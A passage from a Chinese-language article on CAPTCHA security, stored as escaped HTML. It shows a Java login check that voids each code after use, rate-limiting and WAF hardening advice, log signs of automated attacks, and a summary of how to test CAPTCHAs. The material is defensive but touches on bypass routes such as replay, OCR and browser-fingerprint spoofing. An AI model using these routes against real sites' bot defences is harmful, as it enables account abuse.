    \n return<\/span> ResponseEntity<\/span>.<\/span>badRequest<\/span>(<\/span>)<\/span>.<\/span>body<\/span>(<\/span>"\u9a8c\u8bc1\u7801\u9519\u8bef"<\/span>)<\/span>;<\/span>
    \n }<\/span><\/p>\n

    \/\/ 2. \u9a8c\u8bc1\u7801\u6b63\u786e，\u7acb\u5373\u5220\u9664，\u9632\u6b62\u91cd\u7528<\/span>
    \n redisTemplate.<\/span>delete<\/span>(<\/span>redisKey)<\/span>;<\/span><\/p>\n

    \/\/ 3. \u518d\u6267\u884c\u6838\u5fc3\u4e1a\u52a1\u903b\u8f91（\u5982\u5bc6\u7801\u6821\u9a8c\u3001\u767b\u5f55\u6001\u751f\u6210）<\/span>
    \n boolean<\/span> loginSuccess =<\/span> userService.<\/span>authenticate<\/span>(<\/span>request.<\/span>getUsername<\/span>(<\/span>)<\/span>,<\/span> request.<\/span>getPassword<\/span>(<\/span>)<\/span>)<\/span>;<\/span>
    \n if<\/span> (<\/span>!<\/span>loginSuccess)<\/span> {<\/span>
    \n return<\/span> ResponseEntity<\/span>.<\/span>status<\/span>(<\/span>401<\/span>)<\/span>.<\/span>body<\/span>(<\/span>"\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef"<\/span>)<\/span>;<\/span>
    \n }<\/span>
    \n \/\/ … \u751f\u6210session\/token<\/span>
    \n return<\/span> ResponseEntity<\/span>.<\/span>ok<\/span>(<\/span>"\u767b\u5f55\u6210\u529f"<\/span>)<\/span>;<\/span>
    \n}<\/span><\/p>\n

  • \u77ed\u4fe1\/\u90ae\u4ef6\u9a8c\u8bc1\u7801<\/li>\n

    \u00b7 \u5b89\u5168\u6a21\u5f0f： \u00b7 \u9891\u7387\u9650\u5236：\u540c\u4e00\u624b\u673a\u53f7\/\u90ae\u7bb1\u5728\u5355\u4f4d\u65f6\u95f4\u5185（\u59821\u5206\u949f\/1\u5c0f\u65f6）\u53d1\u9001\u6b21\u6570\u4e0a\u9650\u3002 \u00b7 \u603b\u91cf\u9650\u5236：\u540c\u4e00IP\u6216\u8d26\u53f7\u572824\u5c0f\u65f6\u5185\u53d1\u9001\u603b\u91cf\u4e0a\u9650\u3002 \u00b7 \u9632\u66b4\u7834：\u9a8c\u8bc1\u7801\u81f3\u5c116\u4f4d，\u5305\u542b\u5b57\u6bcd\u6570\u5b57，\u9519\u8bef\u5c1d\u8bd53-5\u6b21\u540e\u7acb\u5373\u4f5c\u5e9f\u5e76\u53ef\u80fd\u4e34\u65f6\u9501\u5b9a\u8be5\u53f7\u7801\u3002 \u00b7 \u5185\u5bb9\u65e0\u5173：\u9a8c\u8bc1\u7801\u4e0d\u5e94\u4e0e\u7528\u6237\u8eab\u4efd\u4fe1\u606f（\u5982\u624b\u673a\u5c3e\u53f7）\u6216\u65f6\u95f4\u6709\u7b80\u5355\u5173\u8054\u3002<\/p>\n

    \u8fd0\u7ef4\u4fa7\u52a0\u56fa：\u67b6\u6784\u4e0e\u914d\u7f6e\u5efa\u8bae<\/p>\n

  • WAF\/\u7f51\u5173\u5c42\u9632\u62a4： \u00b7 \u914d\u7f6e\u89c4\u5219，\u8bc6\u522b\u5f02\u5e38\u7684\u9a8c\u8bc1\u7801\u63d0\u4ea4\u9891\u7387（\u5982\u5355\u4e2aIP\u6bcf\u79d2\u63d0\u4ea4>10\u6b21\u4e0d\u540c\u9a8c\u8bc1\u7801）\u3002 \u00b7 \u8bc6\u522b\u81ea\u52a8\u5316\u5de5\u5177\u6307\u7eb9（\u5982\u7279\u5b9a\u7684HTTP\u5934\u7f3a\u5931\u3001TLS\u6307\u7eb9）\u3002<\/li>\n
  • \u5a01\u80c1\u60c5\u62a5\u96c6\u6210：\u63a5\u5165IP\u4fe1\u8a89\u5e93，\u5bf9\u6765\u81ea\u6570\u636e\u4e2d\u5fc3IP\u3001\u4ee3\u7406\u6c60IP\u7684\u9a8c\u8bc1\u7801\u8bf7\u6c42\u8fdb\u884c\u66f4\u4e25\u683c\u7684\u884c\u4e3a\u9a8c\u8bc1\u6216\u76f4\u63a5\u62e6\u622a\u3002<\/li>\n
  • \u670d\u52a1\u964d\u7ea7\u4e0e\u7528\u6237\u4f53\u9a8c：\u5f53\u68c0\u6d4b\u5230\u7591\u4f3c\u653b\u51fb\u65f6（\u5982\u5927\u91cf\u9519\u8bef\u5c1d\u8bd5），\u53ef\u4ee5\u52a8\u6001\u5347\u7ea7\u9a8c\u8bc1\u7801\u96be\u5ea6（\u4f8b\u5982\u4ece\u56fe\u5f62\u9a8c\u8bc1\u7801\u5347\u7ea7\u4e3a\u6ed1\u52a8\u6216\u667a\u80fd\u9a8c\u8bc1），\u800c\u4e0d\u662f\u76f4\u63a5\u5c01\u7981，\u907f\u514d\u5f71\u54cd\u6b63\u5e38\u7528\u6237\u3002<\/li>\n
  • \u4f7f\u7528\u6210\u719f\u7684\u7b2c\u4e09\u65b9\u9a8c\u8bc1\u7801\u670d\u52a1：\u5982 Google reCAPTCHA v3\/Enterprise， \u67d0\u76fe， \u67d0\u9a8c\u7b49\u3002\u8fd9\u4e9b\u670d\u52a1\u6295\u5165\u4e86\u5927\u91cf\u8d44\u6e90\u8fdb\u884cAI\u5bf9\u6297\u548c\u57fa\u7840\u8bbe\u65bd\u7ef4\u62a4\u3002\u6ce8\u610f：\u5373\u4f7f\u4f7f\u7528\u7b2c\u4e09\u65b9\u670d\u52a1，\u4e5f\u9700\u4e25\u683c\u6309\u7167\u5176\u6587\u6863\u96c6\u6210，\u5e76\u786e\u4fddtoken\u7684\u9a8c\u8bc1\u5728\u670d\u52a1\u5668\u7aef\u5b8c\u6210\u3002<\/li>\n

    \u68c0\u6d4b\u4e0e\u54cd\u5e94\u7ebf\u7d22<\/p>\n

    \u5728\u5e94\u7528\u65e5\u5fd7\u548cWAF\u65e5\u5fd7\u4e2d\u5173\u6ce8\u4ee5\u4e0b\u5f02\u5e38\u6a21\u5f0f：<\/p>\n

    \u00b7 \u9ad8\u9891\u5931\u8d25：\u540c\u4e00\u4f1a\u8bdd\u6216IP\u5728\u77ed\u65f6\u95f4\u5185\u5bf9\u540c\u4e00\u9a8c\u8bc1\u7801\u8fdb\u884c\u591a\u6b21\u9519\u8bef\u5c1d\u8bd5\u3002 \u00b7 \u9a8c\u8bc1\u7801\u6d88\u8017\u5f02\u5e38：\u83b7\u53d6\u9a8c\u8bc1\u7801\u7684\u8bf7\u6c42\u9891\u7387\u8fdc\u9ad8\u4e8e\u6b63\u5e38\u4e1a\u52a1\u6210\u529f\u7387（\u4f8b\u5982，\u83b7\u53d61000\u6b21\u9a8c\u8bc1\u7801，\u53ea\u67091\u6b21\u6210\u529f\u767b\u5f55）\u3002 \u00b7 \u65e0\u5934\u6d4f\u89c8\u5668\u7279\u5f81：User-Agent\u5f02\u5e38\u3001JavaScript\u6267\u884c\u73af\u5883\u7f3a\u5931\u7279\u5b9a\u5c5e\u6027（\u901a\u8fc7JavaScript\u63a2\u9488\u53ef\u68c0\u6d4b）\u3002 \u00b7 OCR\u5de5\u5177\u7279\u5f81：\u8bf7\u6c42\u9a8c\u8bc1\u7801\u56fe\u7247\u540e，\u7d27\u968f\u7684\u63d0\u4ea4\u95f4\u9694\u6781\u77ed（< 1\u79d2），\u4e14\u6210\u529f\u7387\u5f02\u5e38\u9ad8\u3002 \u00b7 \u903b\u8f91\u6f0f\u6d1e\u5229\u7528：\u540c\u4e00\u9a8c\u8bc1\u7801key\u6216\u7b54\u6848\u88ab\u91cd\u590d\u63d0\u4ea4\u5e76\u6210\u529f\u3002<\/p>\n

    \n

    \u7b2c\u4e94\u90e8\u5206：\u603b\u7ed3\u4e0e\u8109\u7edc \u2014\u2014 \u8fde\u63a5\u4e0e\u5c55\u671b<\/p>\n

    \u6838\u5fc3\u8981\u70b9\u590d\u76d8<\/p>\n

  • \u9a8c\u8bc1\u7801\u662f\u6210\u672c\u63d0\u5347\u5668，\u800c\u975e\u7edd\u5bf9\u5c4f\u969c：\u5176\u5b89\u5168\u4ef7\u503c\u5728\u4e8e\u589e\u52a0\u653b\u51fb\u6210\u672c，\u8bbe\u8ba1\u65f6\u5fc5\u987b\u6743\u8861\u5b89\u5168\u4e0e\u4f53\u9a8c\u3002<\/li>\n
  • \u903b\u8f91\u6f0f\u6d1e\u662f\u4e3b\u8981\u7a81\u7834\u53e3：\u6d4b\u8bd5\u5e94\u4f18\u5148\u5173\u6ce8\u9a8c\u8bc1\u7801\u7684\u751f\u547d\u5468\u671f\u7ba1\u7406（\u751f\u6210\u3001\u5b58\u50a8\u3001\u9a8c\u8bc1\u3001\u9500\u6bc1）\u548c\u4e0e\u4e1a\u52a1\u6d41\u7684\u7ed1\u5b9a\u5173\u7cfb，\u8fd9\u4e9b\u5730\u65b9\u5f80\u5f80\u5b58\u5728\u53ef\u91cd\u653e\u3001\u53ef\u7ed5\u8fc7\u3001\u53ef\u9884\u6d4b\u7684\u81f4\u547d\u7f3a\u9677\u3002<\/li>\n
  • \u6280\u672f\u8bc6\u522b\u662f\u519b\u5907\u7ade\u8d5b：\u4ece\u4f20\u7edfOCR\u5230\u6df1\u5ea6\u5b66\u4e60，\u653b\u51fb\u6280\u672f\u4e0d\u65ad\u8fdb\u5316\u3002\u9632\u5fa1\u65b9\u9700\u91c7\u7528\u52a8\u6001\u5316\u3001\u884c\u4e3a\u5f0f\u3001\u591a\u6a21\u6001\u7684\u9a8c\u8bc1\u624b\u6bb5（\u5982\u65e0\u611f\u9a8c\u8bc1）\u3002<\/li>\n
  • \u9632\u5fa1\u9700\u8981\u5168\u6808\u89c6\u89d2：\u4ece\u540e\u7aef\u7684\u539f\u5b50\u5316\u9a8c\u8bc1\u903b\u8f91\u3001\u5b89\u5168\u7684\u5b58\u50a8，\u5230\u524d\u7aef\u7684\u4ea4\u4e92\u4fdd\u62a4，\u518d\u5230\u8fd0\u7ef4\u5c42\u7684\u9891\u7387\u9650\u5236\u548c\u5a01\u80c1\u60c5\u62a5，\u7f3a\u4e00\u4e0d\u53ef\u3002<\/li>\n
  • \u6d4b\u8bd5\u9700\u65b9\u6cd5\u8bba\u6307\u5f15：\u9075\u5faa\u201c\u4fe1\u606f\u6536\u96c6 -> \u903b\u8f91\u5206\u6790 -> \u6280\u672f\u5bf9\u6297\u201d\u7684\u6d41\u7a0b，\u7cfb\u7edf\u5316\u5730\u8bc4\u4f30\u9a8c\u8bc1\u7801\u7684\u6bcf\u4e00\u4e2a\u653b\u51fb\u9762\u3002<\/li>\n

    \u77e5\u8bc6\u4f53\u7cfb\u8fde\u63a5<\/p>\n

    \u672c\u6587\u662f\u201c\u4e1a\u52a1\u903b\u8f91\u5b89\u5168\u201d\u4e0e\u201c\u81ea\u52a8\u5316\u653b\u51fb\u5bf9\u6297\u201d\u77e5\u8bc6\u57df\u4e0b\u7684\u6838\u5fc3\u7bc7\u7ae0\u3002<\/p>\n

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  • \u65e0\u611f\u9a8c\u8bc1\u4e0e\u53cd\u65e0\u611f\u9a8c\u8bc1：\u6df1\u5165\u7814\u7a76\u4e3b\u6d41\u201c\u65e0\u611f\u9a8c\u8bc1\u201d\u670d\u52a1（\u5982reCAPTCHA v3）\u7684\u5de5\u4f5c\u539f\u7406\u3002\u653b\u51fb\u8005\u5982\u4f55\u901a\u8fc7\u6a21\u62df\u66f4\u7cbe\u7ec6\u7684\u6d4f\u89c8\u5668\u6307\u7eb9\u3001\u7f51\u7edc\u73af\u5883\u548c\u7528\u6237\u884c\u4e3a\u6765\u751f\u6210\u9ad8\u5206\u7684token？\u9632\u5fa1\u8005\u5982\u4f55\u66f4\u6709\u6548\u5730\u914d\u7f6e\u5206\u6570\u9608\u503c\u548c\u884c\u4e3a\u5206\u6790\u6a21\u578b？<\/li>\n
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